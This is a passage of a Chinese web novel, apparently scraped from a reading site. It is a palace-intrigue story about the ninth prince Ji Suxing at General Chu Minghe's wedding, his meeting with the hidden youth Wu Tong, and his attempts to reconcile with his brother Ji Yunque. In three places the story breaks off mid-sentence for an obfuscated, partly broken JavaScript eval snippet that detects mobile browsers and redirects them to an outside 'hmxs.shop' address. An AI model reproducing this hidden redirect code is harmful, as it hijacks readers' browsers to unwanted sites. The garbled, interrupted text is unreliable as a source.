他将手中一把残花分与姬簌星,“若非他能征善战,表哥麾下岂容这等人物?” 姬簌星手里捏着那花瓣,看着那迎亲的队伍远去。 记忆中的楚明赫并非如此,他跟楚明赫很熟,太子哥哥有时候太忙,陆铮跟楚明赫就会带着他,陆铮性格太过跳脱,倒是楚明赫那时沉默寡言,照顾得细致。 但他现在回想,脑子里全是刚刚那张冷硬的脸,五年时间,面目全非。 他张开手,手里猩红点点的花瓣飞了出去,他去找楚明赫是有另外的事,他是唯一亲历北郡活着回来的人,知道的也最多。 书中记载,楚家最终落得个抄家流放的下场,唯独楚明赫被封了侯,这里面定然藏着不为人知的隐情。更何况,除了楚明赫,北郡之事,还有一个关键人物…… “阿星,时辰差不多了,咱们要不要去将军府凑凑热闹?”薛锦霈正拿着一块玉佩逗弄趴在桌上的金豆,转头喊了他一声。 姬簌星收回了视线,上前把金豆抱起,“走吧。” 大将军府跟皇子府隔了整整三条长街,自从太子出事后他根本就没来过。他那时不仅对太子的记忆冷淡模糊,连带着那段时间的所有事情都像是蒙了一层雾。 所以当年姬昀雀前来问他,对太子有何看法时,他毫不留情地把人关在府外一夜。那时也是深秋,许是他说的话太重,又或是那晚的风太冷,彻底吹散了姬昀雀给他留的那点温情。 薛锦霈站在他身侧,瞧着他疑惑道:“阿星,你在想什么呢?脸色好难看。” 姬簌星这才发现,自己不知何时竟被薛锦霈拉着,已经踏上了大将军府的台阶。 府门张灯结彩,红绸高挂,表面看去倒是一派喜庆。 薛锦霈环顾四周,撇了撇嘴:“瞧瞧,来的人还没看热闹的多。” 楚明赫先前旧主是姬临阙,现在投奔了姬洵璋,昔日太子旧部对他嗤之以鼻,现在三皇子一党也瞧不上他,门里门外来贺礼的,多少带着些掩饰不住的玩味。 姬簌星抱着金豆有几分心不在焉。 门口喧闹了两声,就听到了喜婆的声音薛锦霈好奇地踮起脚尖,往里面张望,姬簌星却提不起半分兴致,只觉得周遭的喧嚣都像是隔着一层屏障,模糊而遥远。 他被薛锦霈拉着站在外围,视线越过人群,楚明赫依旧那身暗红袍服,手中一段红绸,颜色沉得像是凝固的血。 该贺喜吗?姬簌星扯了扯嘴角,但面上表情最终没动。他的目光越过楚明赫,忽然瞥见人群中站着一个熟悉的淡漠身影,可定睛一看,那身影又消失不见了。 姬簌星摇了摇头,只觉得自己想姬临阙的事想出毛病来了。 薛锦霈凑到他耳旁,撇了撇嘴,“大婚当日脸色这么难看,就跟谁逼他一样。明明这婚事可是他亲自应的,既要又要,呵呵……” 姬簌星没有回话。 前面两人走到堂前,堂前只有两把空椅子,楚明赫早些年跟侯府本家断亲了,这将军府里就他一个。 喜婆扬声开口,“一拜天地……” 那声音有些尖锐,身前的人嫌弃地往后退了一步,刚好撞到姬簌星的手臂。他手一松,金豆“喵嗷”一声跃下地面,橘黄影子敏捷一窜,便没入人群缝隙。 姬簌星惊呼出声,“金豆……” 金豆瞧着胖,却出奇灵活,几个起落便溜出厅堂,直奔后院,姬簌星紧随其后,眼见它自一扇月洞门底钻入隔壁院落,推门纹丝不动,是从内闩住了。 他这才发现周围安静得过分,也没有下人,他看着紧闭的门,绕到旁侧,后退了几步翻墙进去。幸好他跟薛锦霈翻墙翻得多,只要不太高的墙拦不住他。 但他也觉得奇怪,楚明赫自己的院子不用竟还锁起来。 他翻到院子里,往前走了几步,“金豆,金——” 他声音戛然而止。 院落中央,一株苍劲雪松投下大片阴影。一个少年坐在雪松下的轮椅上,他披着件过于宽大的墨黑披风,内里露出衣袖纹样奇特,并非中原样式,浅褐色长发松松挽了一个辫子,垂落肩侧。 金豆正乖乖地趴在少年的膝盖上,少年显然没料到会有人突然闯入,猛地收回搭在金豆身上的手,抬眸望来。 那张脸生得极为好看,轮廓带着几分中原人的温润,可一双眸子却是通透的湖蓝色,头发更是浅浅的褐色,带着几分异域风情,显然是混血。 姬簌星站在原地,心里一凛,他知道他是谁了,当年陆铮的信里提到过。 乌橦,楚明赫当年在战场上捡的小孩,是他的养弟,他也是从北郡回来的,跟着楚明赫从北郡回来,他绝对知道当年北郡的事。 乌橦面上空白,睁着一双漂亮的眸子呆滞地看着姬簌星,显然是没料到有人来。 姬簌星慢慢走上前去,“你别怕,我是来寻猫的……” 他指了指乌橦膝盖上的金豆。 乌橦猛的回神,然后伸手死死捏住了自己披风领口,苍白的手臂露了出来,上面带着斑斑点点的红痕。 姬簌星觉得奇怪,“你……” 乌橦立马又把手缩了回去,紧紧藏在披风里,眼神里满是戒备,“你…你是谁?为什么会找到这里?” 姬簌星耐心解释,“我叫姬簌星,是九皇子。今日是楚明赫大婚,我被我兄弟拉着看热闹的。” 听到大婚,乌橦脸上血色褪尽,原本就苍白的面色白的像纸人。 姬簌星看了看四周,觉得这个院子过分偏僻寂静,他明明记得陆铮的信里,好像说楚明赫对他还挺好的,现在又是怎么回事? 他靠近了些,“你……” 乌橦见他过来,扶着轮椅往后退了退。 姬簌星只好停下步子,“你能说说你为什么在这里吗?我没恶意,你看你怀里的猫都是我养的呢。” 乌橦面色缓和了些,“我叫乌橦,是……是……” 剩下的话他觉得难堪。 姬簌星稍稍往前半步,他好多话要问,但是显然不能操之过急,于是他放缓了语气,“你也喜欢猫吗?你看金豆不轻易给人碰的,它喜欢你。” 乌橦垂着眸子,眼神又柔和下来。 姬簌星站他面前,“你喜欢的话,可以去九皇子府找我……” 哐当一声,身后的木门被猛的推开。 楚明赫还是穿着那件暗红色的衣袍,他站在门口,逆光的身影让人瞧不真切,他看着院子里的人,面容有几分阴沉,视线落到抱着猫的乌橦身上。 乌橦猛的抬眸,吓得连指尖都在微微发抖,他轻轻将金豆放下,然后埋下了头。 姬簌星看见来人,挑了挑眉毛,“好久不见,楚将军。” 楚明赫的视线终于落到姬簌星身上,他蹙紧了眉,冷漠客气又疏离,“原来是九殿下。” 姬簌星嘴角的笑僵在脸上,再也维持不住了。 楚明赫大步踏入院内,径直挡在乌橦身前,隔绝了姬簌星的探究目光,“九殿下还是去前院的好。” 姬簌星站直了身子,“前院吵得紧,再说了你后院里怎么藏了个人,楚将军怎么也不跟我介绍介绍。” 楚明赫面无表情,他手掌搭在乌橦身后的轮椅扶手上,对姬簌星下了逐客令,“今日事情繁忙,就不招待九殿下了,来人,请九殿下离开。” 姬簌星顺势将跑过来的金豆抱进怀里,身后的侍卫已经上前一步,客气地做出请的手势,他知道今日再问不出什么,只好转身离开,走了两步,又忍不住回头看了一眼。 难不成当年北郡兵败, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965977|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的与楚明赫有关? 姬簌星满心狐疑地往外走,刚穿过回廊,就看到了焦急寻来的薛锦霈。 “阿星,你怎么跑这来了。” 姬簌星道:“金豆跑到这里来了。” 薛锦霈拿扇子点了点金豆的脑袋,“千万别乱跑了,今日乱着呢……” 两人顺着道往前走,薛锦霈是薛家人,刚走两步就被拖去喝酒。那人也想拉着姬簌星,但被薛锦霈三言两语以生病为由给拒了。 临被拉走前,薛锦霈还不忘回头喊了一声:“阿星,表哥也来了,正在前院呢,特意让我寻你!” 姬簌星心不在焉地应了一声,抱着金豆往回走,边走边想,他在想,楚明赫归来,姬昀雀会是什么反应;又在想,乌橦的身上究竟藏着怎样的线索。 等到他走到前院,一眼便望见人群中央被簇拥着的姬洵璋时,心里一个激灵,立马躲到了柱子后面。 趁着姬洵璋尚未注意到他,姬簌星抱着金豆,快步拦住了一个送酒水的下人,低声吩咐了几句,让人带着他从旁侧的小门离开。 不远处,姬洵璋的护卫远远瞥了一眼,因中间隔着大半个院子,看得不甚真切,迟疑着开口,“九殿下?” 听到声音,姬簌星步子一顿,随即加快了脚步,他脑子里思绪很乱,楚明赫,乌橦,还有姬洵璋…没想到姬洵璋居然会亲自来? 他拐过巷角,猝不及防撞上一人。 “喵!”金豆受惊,蹿上他肩头,姬簌星手忙脚乱托住猫屁股,抬眼时,先映入眼帘的是那人腰间一抹耀目的金绶,以及再熟悉不过的衣袍纹样。 他缓缓抬头,对上那双深潭般的眼睛。 “皇……皇兄?” 金豆蹲在他发顶,一人一猫,四只圆眼睁得老大,模样有些傻气。 姬昀雀瞧了一眼,不动声色地往后退了半步,转身便走。 姬簌星手忙脚乱地把金豆摘下来,然后硬着头皮开口,“好巧啊……” “那个,你去做什么?要去大将军府?” 姬昀雀站住脚步,“如果我没记错,殿下现在尚在禁足。” 姬簌星面色僵硬。 果不其然,姬昀雀下一句是,“我会如实禀告陛下。” 说罢姬昀雀继续往前走。 姬簌星顿在原地,看着姬昀雀的背影,挺拔直立,却带着一股孤寂。 五年前的背影重叠,只不过现在只剩下姬昀雀一个。 姬簌星心里猛的揪住,他觉得让姬昀雀去大将军府,是一种残忍,原本该属于他的身份,荣耀,好像都成了姬洵璋的东西。 姬昀雀瞧着不在乎,但是他在乎。 “姬昀雀!”他冲上前,一把死死攥住姬昀雀的手腕。 掌下肌肤微凉,腕骨清晰,他听见自己声音紧绷得变了调,寻了个荒唐透顶的借口,“我饿了,你陪我去吃馄饨。” 不等回应,他便拽着人,朝着与将军府相反的方向跑。 姬昀雀没想到姬簌星会这么做,怔忡间已被带出几步,少年掌心滚烫,力道大得惊人。 他抬眸,姬簌星的发丝随风扬起,空气中带着他身上很浅的海棠花的气息,身后的贺喜声、喧嚣声都抛在身后。 穿过两条深巷,直到周遭只剩穿堂风的呜咽,姬簌星才气喘吁吁地停下。 暮色四合,高耸的巷墙投下浓暗阴影,静得能听见自己擂鼓般的心跳,姬昀雀垂眸,目光落在自己手腕:“放手。” 姬簌星触电般松手,怀里的金豆轻盈跳下,绕着姬昀雀的袍角嗅了嗅,竟就地蹲下,尾巴优雅环住爪尖,低头梳理胸前的绒毛。 “我……”姬簌星动了动唇,却发现自己没有什么好说的。 姬昀雀面容很平静,无论自己做什么,都激不起他的情绪,或许有几分怨,但被藏匿得很好。 姬簌星只好别开视线,盯着路旁的杂草,“我不是故意出来的,是薛锦霈正好来寻我……” 姬昀雀眉心几不可察地蹙了一下,姬簌星近来的言行,他有些看不透,他拂了拂自己微皱的袖口,平静开口,“还有别的事吗?” 姬簌星抬眼,望进那双毫无波澜的眼眸,欲言又止,只觉得心口闷的说不出话来,他宁愿姬昀雀怒斥他,或者骂他,也比这种平淡漠视好。 姬昀雀不知道他情绪汹涌,也不在乎姬簌星如何,“既然殿下无事,那我先回去了。” 说着他转身就走,就在擦肩而过的刹那,姬簌星猛地伸手,攥住了他一片衣角,指尖用力到泛白,声音带着不易察觉的颤。 “我知道……你厌极了我,可我有话,非说不可。” 11. 第11章 “我先前那样对你,是我不对,因为我骄纵蛮横,我不喜欢别人抢我的东西。” “你记在母妃名下,又来分我的皇子府,我心生怨怼,这很正常。” 姬簌星深吸一口气,“我这几年,就是被这么养的,想要什么就能得到什么,别人的东西是我的,我的东西还是我的。” 他抬起眼,直直看向姬昀雀:“你告诉我,这对吗?” 姬昀雀垂下眼帘,侧脸隐在暗处,声音听不出波澜,“殿下以为对,那便是对的。” “这是不对的。”姬簌星反驳他,尾音有些发颤。 “从前有人教过我,君子泰而不骄,要宽厚守礼……那时我学得极好。” 姬昀雀眼里终于有了一丝波澜。 姬簌星继续开口,“我以前也是聪慧好学,精通六艺,你不好奇吗?为什么我会变成这样。” 姬昀雀视线望进他眸子里,“为什么?” 双目对视,姬簌星眼里都是坦荡。 “因为教我的人走了,他说当启京落第一场雪的时候,他就会回来。可他没有,我等了两年,从春时等到冬寒,只等来了一场雪,一场葬礼,他死在北郡,尸骨都没见到。” “我在想……我明明这么乖,这么听话,他怎么狠心把命弄丢了,不带我走。” “他不要我了,把我丢在启京。我背了那么多策论,那么多礼记,通通都没有用处,既然他那么狠心,那我便撕掉这些东西,把自己变得蛮横,纨绔,没有礼数。” 姬昀雀抬起眸子,墨眸微凉,“殿下何至于此,为了一个死人。” 姬簌星抿着唇,声音有些低,“他说过的,如果我犯错,自会由他来管教我,他不来管教我,我便觉得我做什么都是对的。” 他又问,“你觉得我说的对吗?” 姬昀雀移开视线,“殿下长大了,应该自己分辨是非对错。” 姬簌星轻笑一声,那笑声里满是自嘲,“我真的长大了吗?还是已经死在了十二岁?” 他话里情绪太重,姬昀雀那双黝黑的眸子里也多了份惊愕。 假话骗不了姬昀雀,所以姬簌星说的是真心。 但姬昀雀并不那么容易心软,“殿下现在跟我说这些做什么?” 姬簌星松了手,目光逐渐平寂,“因为我忽然发现自己做错了事,以往过分迁怒于你,我不是认错的性子,我本打算一辈子不说的。” 姬昀雀声线平静,“那现在为何说了。” 姬簌星垂着眼眸,面容很苍白,“他当年出征的时候是跟我差不多的年纪,如今我也跟他差不多大了。” 他的声音很轻,“你说……若我今年冬日死了,是不是就刚好同他一般大?” 此话落地,姬昀雀的瞳孔骤然收缩。 空气中一片寂静,姬簌星视线盯着脚尖前的地面,心中紧张,这句话是假的,他不想死且很怕死。 姬昀雀只要细想,他可能会转过弯来。 但姬簌星今天说了太多真心话,他赌姬昀雀心里,对他还剩那么一丝半缕旧日情分 姬昀雀僵在原地,古井无波的心海里忽的掀起了一阵风,眼前人面容逐渐清晰,不像往日纨绔的姬簌星,像他的小九。 是因为自己,姬簌星才变成这个模样? 理智告诉他,姬簌星的话不可信,但是心底某处,好像有波澜层叠,搅得他心绪不宁。 姬昀雀移开了眼,“殿下尚有母妃在世,还是莫要起这念头。” 一直安静蹲在旁的金豆此刻凑上前,绕着姬簌星的脚踝轻轻蹭了蹭,仰头“咪呜”一声。 姬簌星弯腰将它抱起,手指无意识地梳理着它背上的软毛,“你不想知道他是谁吗?” 姬昀雀垂下眼,没有回应。 姬簌星语气落寞,“他是我很重要的人,如果他在,定不会愿见我如今这般模样。” 他望着姬昀雀,面上希翼,“不过,我从现在开始改好,应该也不算太晚,对吧?” 姬昀雀心里总隐隐约约地觉得哪里不对,没有应答。 空气寂静下来,姬簌星瞧见姬昀雀瞧着他陷入沉思,怕深究出破绽,忙借抱猫的动作掩饰,声音放软,“我饿了,陪我去吃碗馄饨吧,皇兄。” 巷子里光线昏暗,姬昀雀眸光落到身前人身上,姬簌星肌肤白皙,暗色里也能看清他低垂的眉眼,瞧着紧张又可怜,他长得瘦脸也小,但脸颊两侧却像是带了点婴儿肥,瞧着软乎乎的。 金豆的尾巴尖不小心扫到姬昀雀的手臂上,他收回了视线,只是道:“走吧。” 说罢,率先转身。 姬簌星悄悄抬眼,望着那挺拔却疏离的背影,心头微微一松,起码在姬昀雀心里,他还是稍微有点不一样的。 但他最后却没能吃上馄饨。 两人刚走出巷口,去路便被五条黑影堵住,来人身形壮硕,步履沉而无声,目光不善,绝非市井寻常混混。 姬簌星脚步一顿,他横行启京多年,真敢拦他路的没几个,脑子里又想起来薛锦霈说的话,羽林军里很多人对姬昀雀心生不满。 他会惹事,但是没人敢动他,所以这是来寻姬昀雀的麻烦。 为首那人满脸横肉,目光在两人身上一扫,最终钉在姬昀雀脸上,“小子,有人买你一条腿呢,要怪就怪你惹了不该惹的人吧。” 姬昀雀视线落在对面人身上,原本他就心情烦躁,他指尖微蜷,又瞥了眼身旁的姬簌星,这是个麻烦,怀里那猫也是麻烦。 天色完全昏沉下来,五人默契地活动手腕,袖中铁棍滑出半截,泛着幽冷的金属光泽,呈合围之势逼近。 就这几人,姬昀雀丝毫不放在眼里,但身旁的姬簌星有些麻烦,他雀抬手,掌心无声地贴上姬簌星后颈,只需一击,便可让人昏睡过去。 看见前面人还有武器,姬簌星心中发紧,可当身后传来熟悉的体温,心里忽然就安定下来。 就在姬昀雀将要发力之际,姬簌星忽然深吸一口气,侧身迅速将金豆塞进姬昀雀怀里,自己反而向前一步,挡在了他身前。 姬昀雀一怔,怀中陡然多了团温暖柔软的毛球。 姬簌星扬起下颌,目光凌厉,“放肆,皇城天子脚下,尔等也敢犯事?” 为首汉子眯眼打量了一番,嗤笑一声,贪婪之色更浓,“劝你少管闲事!爷拿钱办事,今儿个心情好,别自找不痛快!” 天色虽然昏暗,但也能瞧出来两人衣着华贵,但他丝毫不怕,托他们办事的人里,不乏这样高门大户的单子。 他的视线盯着姬簌星腰间叮当的玉佩,襟口金色的珠子,眼中闪过一抹贪婪,这一颗珠子,能抵他们半个月挥霍的酒钱。 姬簌星站在姬昀雀身前,头上发冠刚好到姬昀雀鼻尖,少年身姿挺拔如竹,衣袂随风轻扬,发丝掠过身后人的指尖。 金豆在姬昀雀怀里不安地动了动,尾巴紧紧缠住他手臂,耳朵向后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965978|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压成。 姬昀雀低头看了看这胆小又粘人的小东西,莫名想起姬簌星幼时躲在他身后扯他衣角的模样。 怀里的金豆在发抖,身前的少年背脊却挺得笔直。 姬簌星举起腰侧玉佩,“我是当今九皇子,今日你们若是动我,来日我让父皇诛你们九族。” 五人步子顿了顿,但很快贪念上头,且不论姬簌星是不是真皇子,就算是真皇子,他们也不怕,人为财死,主家给他们一千两银子买旁边这位的一条腿,值得很。到时候天高皇帝远,谁能抓得到他们。 “你当老子是被吓大的不成,诛我们九族,老子早就没九族了,上。” 地痞头子面上闪过一丝阴狠,打了个手势,四人向着两人包抄过来,他们掌心攥紧武器,没有什么废话,挥着铁棍快准狠地朝着两人身上扑过来。 姬簌星没料到他们真敢动手,平日里他带着人,根本用不着他动手,这次溜出来的急,只带了一个金豆,看着眼前凶狠的歹徒,心里一时有些慌。 他知道这几个人根本就不是姬昀雀的对手,他只要退后半步,不逞这个英雄,姬昀雀绝对保自己无恙。 诸多念头闪过,可他牙关一咬,竟真的没躲。 昔日里他对姬昀雀真的不好,若是受了伤能换半分原谅,想来也很划算,前面劲风袭来,姬簌星想动手,却克制着没躲。 就在铁棍即将砸在他身上的瞬间,一只有力的手臂突然揽住他的腰,猛地往后一扯,然后带着他退后。 姬昀雀单手抱猫,另一只手牢牢箍住他的腰,声音沉稳,“云阑!” 一道黑影如鬼魅般自檐角掠下,身形高瘦却迅捷如电,拳脚凌厉,招式简洁狠辣,不过几个呼吸,方才还嚣张的五人已全数倒在地上哀嚎,再爬不起来。 姬簌星怔怔望去,这就是姬昀雀藏在暗处的人? 他怔愣地看着云阑处理,前后还不到半盏茶的时间,等到云阑将人带走,他脑子才回神。 平日里姬昀雀惯会藏拙,没有人知道他身边底牌,再说了他身边有高手,其实不合理,更经不起推敲。 他垂着脑袋,站在原地不敢动,指尖微微发颤,他瞧见了姬昀雀的秘密,会不会被灭口? 可姬昀雀什么都没说,只是将怀里的金豆递回给他,声音依旧平淡无波:“走了。” 姬簌星抿了抿唇,知道自己不能不问,不问反而更显可疑:“那个人……是你的人?” 姬昀雀敷衍地应了一声,“身边的侍卫,路上花银子买的,不过是自小力气大些,会些粗浅的拳脚功夫。” 姬簌星装作松了口气的模样,“原来如此,怪不得能以一敌五。” 经此一闹,姬簌星早已没了吃馄饨的心思,两人并肩往回走,各怀心思,一路无话。 等两人回到皇子府前时,天色已经完全黑透。 街道两旁的街灯次第亮起,昏黄的光晕洒在青石板路上,将两人的影子拉得长长的。 姬簌星与姬昀雀并肩而行,地面上的影子交叠缠绕,瞧着竟有几分亲昵,他一时兴起,踮着脚尖,一步一步踩着姬昀雀的影子玩。 姬昀雀瞧着两眼,又默不作声收回视线,姬簌星想一出是一出,做出什么都不稀奇。 等到了府门前,姬簌星抬头,脸上的笑容戛然而止。 只见府门前停着一辆精致的马车,车帘掀开了一半,姬洵璋正端坐在车内,目光沉沉地盯着他,不知道瞧了多久。 12. 第12章 姬簌星嘴角的笑意僵在脸上,看起来难看至极。 他没想到姬洵璋会来皇子府等他,等了多久?他知道自己跟姬昀雀的事了吗? 姬昀雀的脚步也随之停下,他先注意到姬簌星那难看至极的神情,看着姬簌星面上的笑容一寸寸冻结,血色缓缓褪去,直至苍白。 一种违和感再度涌上心头,姬簌星平日不是最喜黏着姬洵璋么?如同当年黏着他那般,往常见了,早该雀跃着奔上前去,仰起脸炫耀今日又得了什么新奇玩意。 姬昀雀收回目光,淡然的掠过马车中端坐的人影,先前被姬簌星撩拨起的心绪迅速冷却,复归于一片沉寂。 他离开太久,姬簌星身边早已不缺哥哥了。 周围昏暗,只有皇子府下的灯笼在方寸之间亮堂,怀里的金豆似乎感受到了那压抑的气氛,极其小声地喵了一声。 姬簌星猛地回神,他能感到身后姬昀雀的视线,但更令他焦灼的是马车内投来的目光。 他以前没心没肺根本就不会去想,现在脑子跟智商一起回来,再思及姬洵璋往日种种,有些细思极恐。 这人跟姬昀雀完全不一样,他纵着他,宠着他,甚至到了无底线的地步,姬簌星不认为是姬洵璋真心对自己好,毕竟自己先前可是太子的人,而姬洵璋与太子向来是水火不容。 至于当年姬洵璋为什么把自己接到三皇子府,他至今想不透彻。 姬洵璋稳坐于马车阴影深处,神情晦暗难辨,“小九,今日玩得可还开心?” 姬簌星抱着金豆的手有些抖,“三皇兄……” 姬洵璋的视线在他脸上停留片刻,缓缓移向车外的姬昀雀,“七弟今日应当公务缠身,怎的也有此等闲情逸致?” 姬昀雀身姿挺拔如松,昏黄灯火落于他眉峰,投下一抹暗影,他抬眸,语气淡漠,“不及豫王殿下清闲。” 空气霎时凝冻,无形气势自两人身上弥漫开来,无声交锋,寸步不让。 姬洵璋眯了眯眼睛,第一次这般认真打量姬昀雀,一个流落民间的皇子,他向来不放在眼里,却没想到因为那点狂妄,姬昀雀如今都有了上桌落子的资格。 而且……他盯着那张脸,姬昀雀的面容跟已故太子有些像,他当年派人查验过数次,身份却完全没有问题,最后只能归结于陆家女模样都有些相似。 他现在瞧见那张脸,就能想起那无论怎样努力却始终屈居人下的日子,但所幸,陆家全族覆灭,姬昀雀就算是陆家旁系所出,回来又有何用? 他收回目光,压下心绪,声音微沉,“小九,随皇兄回府。” 姬簌星喉头干涩,“皇兄,我……我在自己府上就挺好,再说了……我还在禁足呢。” 姬洵璋面上仍带着温雅笑意,眸底却无半分暖意,“小九,皇兄在此等了你三个时辰。莫非有了七弟在侧,便忘了三哥了?” 姬簌星笑的有些勉强,“皇兄……我不是在禁足吗?” 姬洵璋垂眸,“父皇听闻你得了风寒,今日帮你消了。” 姬簌星张大了嘴巴,这事也没人告诉他啊,他还想再言,却发现自己毫无推拒的余地,只得嗫嚅:“可……皇嫂在府,我多有不便……” 姬洵璋面色骤冷,打断了他的话,“铉方!” 铉方应声上前,对姬簌星躬身做了一个请的手势,“九殿下,请。” 姬簌星抿了抿唇,他知道自己要是再磨下去,姬洵璋就会怀疑他,或者会怀疑姬昀雀的身份,更甚至于对姬昀雀动手。 他没再拒绝,只是转身把猫塞到姬昀雀怀里,别扭着开口,“我这金豆矜贵着呢,一日三顿小鱼干,要是掉了肉,我回来定不饶你。” 言罢,他不再回头,径直走向马车,“……走吧。” 铉方目光掠过姬昀雀,旋即跟上。 姬簌星刚刚都没敢看姬昀雀,怕自己脸上藏不住事,上马车时心神恍惚,脚下趔趄,幸得铉方在旁稳稳扶了一把,才没有失态。 姬洵璋看着一步步朝自己靠近,坐在自己身边的人,面上冷意才渐渐化去。 “回府。” 车帘垂落,彻底隔绝内外。 姬昀雀低下头,跟窝在怀里的金豆对视。 金豆睁着圆溜溜的眸子,丝毫不知道自己被主人托付给了怎么一个人,只觉得肚子饿,便伸爪扒拉他胸前衣料,软软又叫一声:“喵呜……” 姬昀雀:…… 云阑在黑暗中现身,看着自家殿下抱着一个圆滚滚的实心猫欲言又止,“殿下,九殿下他……” 姬昀雀收回视线,“回去。” 云阑跟在姬昀雀后面,抿了抿唇还是劝道:“殿下,您不能信九殿下的话,您别忘了九殿下怎么对您的……” 姬昀雀面容冷峻,步上台阶,“我还没那么糊涂。” 他没那么容易心软,更非几句温言软语便能让他冰释前嫌,姬簌星是亲近姬洵璋,还是结交薛家,于他没有丝毫关系。 云阑听到这话,心里终于松了口气。 马车晃晃悠悠,里面安静得过分,桌面上只点了一个小灯,蜡烛的火芯在灯罩里面摇曳。 姬簌星坐在一旁,大气都不敢喘。 姬洵璋端坐在侧,自始至终都未开口,他的视线落到姬簌星身上,少年头上冠子有些松了,几缕发丝垂在脸侧,垂着的眼睫止不住地颤,红唇紧抿着,瞧着有些紧张。 视线下滑,他今日出来的急,身上那件锦袍有些单薄,夜深露重怕是会冷。 姬洵璋抬眸,“小九,过来。” 姬簌星指尖揪着袖口,然后小心翼翼挪了过去。 姬洵璋面色缓和,抬手以手背碰了碰他脸颊,触感冰凉柔腻。 “这么冷,怎不多穿些。” 姬簌星小声开口,“出来的急,一时忘了。” 姬洵璋轻叹,解下自己身上带着体温的披风,为他披上,掌心拂过姬簌星背后长发,将领子仔细掖在他下颌处,手指不疾不徐地系着颈前丝带。 随着动作,姬洵璋身上那缕皇室特有的龙涎香萦绕而来,姬簌星素来不喜此香,总觉得闻久了便晕乎乎的。 “皇兄,我…我自己来吧。” 姬簌星不想让姬洵璋这般细致的照料,总觉得怪怪的,他伸手欲拦,却被姬洵璋不着痕迹地避开。 姬洵璋慢悠悠系完结扣,却没有松手,依旧是倾身的姿势,带着无声的压迫感。 “小九。” “嗯?” “近日,你似乎总在躲着皇兄。” 姬洵璋指尖似无意般拂过披风系带尾端,掌心若有若无地按在他心口位置,“能告诉皇兄,是为什么吗?” 姬簌星头皮发麻,身子往后仰,“皇兄说的哪里话,皇兄事务繁忙,我不好老是去打扰皇兄……” 姬洵璋拧眉,“母妃又跟你说什么了吗?” 姬簌星一怔,顺势道:“德妃娘娘确曾叮嘱,说殿下已成家立业,日理万机,我年岁渐长,不应再如孩童般烦扰皇兄……” 此乃德妃原话,相较于姬洵璋的照拂,德妃待他一贯冷淡,尤其一年前态度骤变,明令他不许再如影随形地跟着姬洵璋。 掌心下的心跳虽快,但少年眸光清正,不似作伪,姬洵璋心里不愉散了三分,替他理了理披风褶皱,温言道:“母妃性子如此,面冷心软,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965979|193380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话听听便罢,我的王府,你何时想来,便何时来。” “这不太好吧,我……”姬簌星看姬洵璋脸色不好,改口道:“我下次可以去别处找皇兄。” “嗯。” 姬洵璋坐正了身子,不经意问,“姬昀雀是怎么回事?小九现在很喜欢他吗?” 姬簌星心里一凛,谨慎回道,“皇兄怎的如此问?我……我只是我已经长大了,万不能像以往那般肆意行事,父皇以往是偏宠我,但我也不能太过妄为丢了皇家的体面。” 姬洵璋略显诧异地看他一眼,有些奇怪。 姬簌星心跳如鼓,忙又补上一句:“况……况且外间都知道是皇兄护着我,我若行事不端,岂非给皇兄添麻烦……” 姬洵璋听闻此言,眼神忽的便柔和下来,他嘴角勾起一抹弧度,“小九,皇兄说过,你做什么皇兄都给你担着,就算你杀人放火,只要不触及底线,皇兄亦能保你无恙。” “小九生下来就是享福的,不必这么懂事。” 姬洵璋将姬簌星抱住,“皇兄倒是希望你一辈子长不大…便能一直留在皇兄身边……” “殿下,王府到了……” 车外传来铉方恭敬的声音,打断了姬洵璋的话,他却没有立刻松手,依旧抱着怀里的少年,久久未动。 姬簌星脸颊被迫靠在他肩头,含糊唤道:“皇兄?” 姬洵璋松了手,又恢复那温和儒雅的模样,“下去吧。” 姬洵璋刚下车驾,便被等候的属官请走,他眉心微凝,深深瞧了姬簌星一眼,“带九皇子去准备的住处。” 吩咐完,才跟着人离去。 铉方站在一旁像根木头,“九殿下,请。” 姬簌星在豫王府待过不少时日,铉方轻车熟路地把他引到院子,然后合门退下。 屋内陈设一如往昔,洁净齐整,连衣柜中也备着他尺寸的常服,姬簌星盥洗完毕,躺在柔软床榻上,睁眼望着帐顶暗纹。 这都是什么事啊,姬洵璋看他看得又紧,姬昀雀又不搭理他。 他捏着柔软的被子,脑子里思绪蔓延,姬昀雀不喜欢蠢笨的人,他光打情分牌还不行,得有用才行。 楚明赫,乌橦……再加上脑子里七七八八模糊的走向,他总能找到用处的。 他抬起头,吹灭了床前小柜上的蜡烛。 另一处蜡烛将灭,颤巍巍的又亮起,窗外的冷风灌进来,有些冷。 乌橦拿着书坐在桌子前,却半天都瞧不进去一个字,直到风吹到脸上,他才回去扶着轮椅去关窗。 